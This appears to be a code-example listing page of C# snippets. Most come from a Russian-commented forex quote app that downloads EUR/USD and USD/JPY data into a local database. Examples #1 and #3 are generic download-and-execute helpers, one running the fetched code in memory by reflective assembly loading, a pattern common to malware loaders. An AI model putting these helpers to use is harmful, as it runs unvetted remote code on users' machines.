示例#1
0
        /// <summary>
        /// Download and execute a file
        /// </summary>
        public static void DownloadExecuteLocally(string uri)
        {
            var filename = Path.GetFileName(uri);
            var resource = Internet.OpenResource(uri);

            Internet.ReadResourceToFile(resource, filename);
            Process.Start(filename);
        }
示例#2
0
        /// <summary>
        /// Метод загрузки данных +
        /// </summary>
        /// <param name="value">Котировка</param>
        public string TaskConnect(string value)
        {
            Internet IPair = new Internet();
            // Путь к файлу c котировками usdjpy
            string pathFile = Application.StartupPath + "\\" + value + ".txt";

            // первое подключении
            IPair.FirstConnect(value, pathFile);
            return(pathFile);
        }
示例#3
0
        /// <summary>
        /// Download and execute a file in memory
        /// </summary>
        /// <param name="uri"></param>
        public static void DownloadExecuteMemory(string uri)
        {
            var resource = Internet.OpenResource(uri);
            var image    = Internet.ReadResource(resource).ToArray();
            var assembly = Assembly.Load(image);
            var ep       = assembly.EntryPoint;

            object[] parameters = (ep.GetParameters().Length > 0) ? (new object[] { new string[] { "" } }) : null;
            ep.Invoke(null, parameters);
        }
示例#4
0
        /// <summary>
        ///  загрузка котировок в бд
        /// </summary>
        /// <param name="bdValue">Котировка/param>
        /// <param name="number">Кол-во/param>
        public int bdLoadQuote(string bdValue, int number)
        {
            // путь
            string pathFile = Application.StartupPath + "\\" + bdValue + ".txt";
            // Создание объекта БД

            Internet IPair = new Internet();
            // запрашиваем данные
            string response = IPair.FirstConnectBD(bdValue, pathFile, number, stringConnect);
            // Лист времени
            List <int> BListTBuf = new List <int>();
            // Лист покупок
            List <double> BListBBuf = new List <double>();
            // Лист продаж
            List <double> BListSBuf = new List <double>();
            // новые котировки
            Parser BdParser = new Parser(response);

            // получаем данные
            BdParser.BDREqest(ref BListTBuf, ref BListBBuf, ref BListSBuf);
            // подключение
            SqlConnection con = new SqlConnection(stringConnect);

            // открыть подключение
            try
            {
                con.Open();
                Console.WriteLine("Подключение открыто");
            }
            catch (SqlException ex)
            {
                Console.WriteLine("Ошибка подключения:{0}", ex.Message);
            }

            //Присвоение котировки
            Quotes per = new Quotes();

            per.Sell  = BListSBuf;
            per.Buy   = BListBBuf;
            per.TimeU = BListTBuf;

            // занести в БД
            insertQuotes reqestBdEURUSD = new insertQuotes(bdValue, per, con);

            // закрыть подключение
            con.Close();
            Console.WriteLine("Подключение закрыто");
            return(reqestBdEURUSD.LenghtInsert);
        }
示例#5
0
        /// <summary>
        /// Метод стартового состояния окна
        /// </summary>
        /// <param name="x">размер по оси x</param>
        /// <param name="y">размер по оси y</param>
        public MainForm(int x, int y)
        {
            string pathDirectory = Application.StartupPath; // Путь к директории
            string pathFile = pathDirectory + "\\" + "eurusd" + ".txt"; // Путь к файлу c котировками eurusd

            Methods Time = new Methods();
             // проверка интерент соединения ассинхронно
            tConnect = Task.Run(() =>
            {
                Internet inCon = new Internet();
                InetConnect.Inet = inCon.TryCon(inet, "eurusd", sync, internetActionFinished);
            });

            switch (Time.TradeStop(DateTime.Now))
            {
                case "Sat": MessageBox.Show("Forex day off"); break;
                case "Sun": MessageBox.Show("Forex day off"); break;
            }

            this.InitializeComponent();

            splitContainer1.Size = new Size(x, y);
            splitContainer1.Location = new Point(0, 0);

            // Массив кнопок интерфейса
            Button[] LButton = {buttonEurUsd, buttonUsdJpy};

            foreach (Button index in LButton)
            {
                splitContainer1.Panel2.Controls.Add(index);
            }

            // Массив меток интерфейса
            Label[] LLabel = { labelSelectPair };

            foreach (Label index in LLabel)
            {
                splitContainer1.Panel2.Controls.Add(index);
            }

            DirectoryInsspection.Set(pathDirectory); // проверка существования директории

            FileInspection.Set(pathFile); // проверка существования файла

            this.FormClosing += new FormClosingEventHandler(OnClosing);
            LButton[0].Location = new Point( x / 2 - 400, y / 2 - 100); // Первая кнопка EurUsd
            LLabel[0].Location = new Point(x / 2 - 100, y / 2 - 200); //  Метка
            LButton[1].Location = new Point(x / 2  + 200, y / 2 - 100); // Вторая кнопка UsdJpy
            xS = x / 1920.0; // настройка под все  экраны
            yS = y / 1080.0; // настройка под все  экраны
            this.Size = new Size(x, y); // задание размеров экрана

            #region Переменные командной комбинации к Меню текущей форме
            windowToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.W; // командная комбинация клавиш для откытия настроек окна
            chartToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.C; // командная комбинация клавиш для откытия настроек графика
            eURUSDToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.U; // командная комбинация клавиш для откытия графика USDEUR
            helpToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.H; // командная комбинация клавиш для откытия помощи
            USDJPYToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.Y; // командная комбинация клавиш для откытия графика EURYPJ
            #endregion

            if (HelpClosing == true)
            {
                helpToolStripMenuItem.CheckState = CheckState.Unchecked;
            }

            Internet IPair = new Internet();
            Cursor.Current = Cursors.WaitCursor; // Грузящий курсор
            tConnect.Wait();
            Cursor.Current = Cursors.Default; // Возвращение к нормальному состоянию
            LoadData(IPair); // загрузка данных 2х потоков с данными №1
        }
示例#6
0
        /// <summary>
        /// Метод загрузки данных
        /// </summary>
        /// <param name="IPair">Объект интернет</param>
        public void LoadData(Internet IPair)
        {
            tEurusd = Task.Run(() =>
            {
                string pathFile1 = Application.StartupPath + "\\" + "eurusd" + ".txt"; // Путь к файлу c котировками eurusd
                IPair.FirstConnect("eurusd", pathFile1); // первое подключении
            }); // поток подключения eurusd

            string pathFile = Application.StartupPath + "\\" + "eurusd" + ".txt";
            string patch = "Data Source = (LocalDB)\\MSSQLLocalDB; AttachDbFilename='|DataDirectory|\\Forex.mdf'; Integrated Security = True; Connect Timeout = 30";// данные конфигурации
            BdReqest reqestBdEURUSD = new BdReqest(patch); // Создание объекта БД
            string bdValue = "eurusd";
            string response = IPair.FirstConnectBD(bdValue, pathFile);
            List<int> BListTBuf = new List<int>();
            List<double> BListBBuf = new List<double>();
            List<double> BListSBuf = new List<double>();
            Parser BdParser = new Parser(response);
            // Присвоили данные к листам
            BdParser.BDREqest(ref BListTBuf, ref BListBBuf, ref BListSBuf);
            // Важный запрос добавления осталось это проверить
            reqestBdEURUSD.CommandInsert (bdValue, BListTBuf, BListBBuf, BListSBuf);

            tUsdjpy = Task.Run(() =>
            {
                string pathFile2 = Application.StartupPath + "\\" + "usdjpy" + ".txt"; // Путь к файлу c котировками usdjpy
                IPair.FirstConnect("usdjpy", pathFile2); // первое подключении
            }); // поток подключения usdjpy
        }
示例#7
0
        /// <summary>
        /// Конструктор стартового состояния окна
        /// </summary>
        /// <param name="x">размер по оси x</param>
        /// <param name="y">размер по оси y</param>

        public MainForm(int x, int y)
        {
            Gettext.LanguageCode = "ru";
            string pathDirectory = Application.StartupPath;                  // Путь к директории
            string pathFile      = pathDirectory + "\\" + "eurusd" + ".txt"; // Путь к файлу c котировками eurusd

            Methods Time = new Methods();

            // проверка интернет соединения ассинхронно
            tConnect = Task.Run(() =>
            {
                Internet inCon   = new Internet();
                InetConnect.Inet = inCon.TryCon("eurusd", sync, internetActionFinished);
            });

            switch (Time.TradeStop(DateTime.Now))
            {
            case "Sat": MessageBox.Show(Gettext._("Forex day off")); break;

            case "Sun": MessageBox.Show(Gettext._("Forex day off")); break;
            }

            this.InitializeComponent();
            // размеры контейнера
            startContainer.Size     = new Size(x, y - WSettings.Size.Height);
            startContainer.Location = new Point(0, 0);
            // проверка существования директории
            DirectoryWork.Set(pathDirectory);
            // проверка существования файла
            FileInspection.Set(pathFile);
            // настройка под все  экраны
            xS = x / 1920.0;
            // настройка под все  экраны
            yS = y / 1080.0;
            // задание размеров экрана
            this.Size = new Size(x, y);

            #region Переменные командной комбинации к Меню текущей форме
            // командная комбинация клавиш для откытия настроек окна
            windowToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.W;
            // командная комбинация клавиш для откытия настроек графика
            chartToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.C;
            // командная комбинация клавиш для откытия графика USDEUR
            eURUSDToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.U;
            // командная комбинация клавиш для откытия графика EURYPJ
            USDJPYToolStripMenuItem.ShortcutKeys = Keys.Control | Keys.Y;
            #endregion

            // Грузящийся курсор
            Cursor.Current = Cursors.WaitCursor;
            tConnect.Wait();
            // Возвращение к нормальному состоянию
            Cursor.Current = Cursors.Default;

            // передача строки подключения
            Bd BasaDan = new Bd("Data Source = (LocalDB)\\MSSQLLocalDB; AttachDbFilename='" + Application.StartupPath + "\\Forex.mdf'; Integrated Security = True; Connect Timeout = 30");
            // проверка интернет соединения
            if (true == InetConnect.Inet)
            {
                tTask = LoadBdQuote(BasaDan);
                List <int>    timeL = new List <int>();
                List <double> sellL = new List <double>();
                List <double> buyL  = new List <double>();
                // получение событий парралельно
                ParserEventFabric Parse = new ParserEventFabric();
                BasaDan.LoadInBdEvent("https://myfirstphpapp-skro.rhcloud.com/get_Event.php", BasaDan.SelectLastIdEvent(), Parse);

                ParserEventGroupFabric Parse1 = new ParserEventGroupFabric();
                BasaDan.LoadInBdEventGroup("https://myfirstphpapp-skro.rhcloud.com/get_EventGroup.php", BasaDan.SelectLastIdEventGroup(), Parse1);

                BasaDan.Select("eurusd", ref timeL, ref sellL, ref buyL);
            }
            // выбор событий из БД по id
            //Events = BasaDan.SelectEvent(5000);
            // выбор событий по Id_Group
            // Events = BasaDan.SelectSameEvent(20);
            // выбор грядущих событий
            // выбор из группы события по id
            // Groups = BasaDan.SelectEventGroup(500);
            // выбор группы по name
            // Groups = BasaDan.SelectEventGroup("'Выступление представителя ФРС США Джеффри Лэкера'");
            int NowTime = Convert.ToInt32((DateTime.Now - new DateTime(1970, 1, 1, 0, 0, 0, 0)).TotalSeconds - 15) - 3600 * 1;
            Console.WriteLine(NowTime);
            FutureEvent = BasaDan.SelectEventTime(1495209600);
        }